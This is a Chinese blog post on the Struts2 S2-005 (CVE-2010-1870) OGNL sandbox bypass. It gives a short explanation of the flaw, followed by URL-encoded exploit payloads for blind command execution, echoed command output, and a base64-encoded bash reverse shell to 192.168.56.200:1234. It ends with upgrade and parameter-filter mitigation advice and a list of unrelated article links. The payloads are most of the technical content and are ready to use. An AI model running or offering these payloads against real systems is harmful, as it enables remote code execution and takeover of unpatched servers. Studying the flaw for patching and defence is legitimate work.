s2-005
2024-10-21 04:01:37
漏洞名称
(CVE-2010-1870) - XWork ParameterInterceptors旁路允许远程命令执行
利用条件
Struts 2.0.0 - Struts 2.1.8.1
漏洞原理
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上
XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:
user.address.city=Bishkek&user['favoriteDrink']=kumys
//会被转化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:
- S2-003 使用
\u0023
绕过s2对#
的防御 - S2-003 后官方增加了安全模式(沙盒)
- S2-005 使用OGNL表达式将沙盒关闭,继续执行代码
漏洞利用
1.无回显利用
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/EDI%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
创建文件EDI
2.有回显
注意:更改为post请求
redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27whoami%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
2.1 反弹shell
bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}
特殊字符编码后放入poc
redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27bash+-c+{echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTYuMjAwLzEyMzQgMD4mMQ%3d%3d}|{base64,-d}|{bash,-i}%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
修复建议
强烈建议升级到 Struts 2.2.1,其中包含更正后的 XWork 库。
可能的缓解解决方法:在 struts 中配置参数内.xml以排除恶意参数
John Wilander 建议的以下附加拦截器引用配置在正确应用时应该可以缓解问题:
<interceptor-ref name=``"params"``>`` ``<param name=``"excludeParams"``>dojo\..*,^struts\..*,.*\\.*,.*\(.*,.*\).*,.*@.*</param>``</interceptor-ref>
参考文章
https://www.cnblogs.com/blankunbeaten/p/14826753.html
最新文章
- Web前端温故知新-CSS基础
- Centos7.X 源码编译安装subversion svn1.8.x
- 【wikioi】1033 蚯蚓的游戏问题(费用流)
- linux中Apache更Nginx环境配置教程
- [Papers]NSE, $\p_3u$, Lebesgue space [Kukavica-Ziane, JMP, 2007]
- cocos2dx 以子弹飞行为例解说拖尾效果类CCMotionStreak
- js去除首尾空格
- MongoDB--MapReduce分布统计s
- git实用攻略(二)
- Spring源码学习-容器BeanFactory(二) BeanDefinition的创建-解析前BeanDefinition的前置操作
- Spring boot集成spring-boot-starter-data-jpa环境搭建
- laravel表单验证
- JAVA核心技术I---JAVA基础知识(时间类)
- [ Codeforces Round #549 (Div. 2)][D. The Beatles][exgcd]
- 深度学习模型融合stacking
- python 爬虫基础知识一
- fastq-to-fasta转换及fasta拆分、合并
- 环信集成 2---基于环信Demo3.0,实现单聊功能
- 利用Angular.js从PHP读取后台数据
- 【VBA编程】12.Workbook对象常用属性
热门文章
- JavaScript事件驱动
- 我要手撕mybatis源码
- import cv2报错
- 论文笔记 - RETRIEVE: Coreset Selection for Efficient and Robust Semi-Supervised Learning
- Oracle收集统计信息的一些思考
- 嵌入式-C语言基础:怎么样使得一个指针指向固定的区域?
- 2022ICPC区域赛参后感悟
- 【翻译】rocksdb调试指引
- 【每日一题】2022年2月10日-NC160 二分查找-I
- 【每日一题】【dfs重载原始函数&;循环/函数结束条件&;左右下标在数组中位置的确定】2022年2月7日-NC12 由先序和中序遍历重建二叉树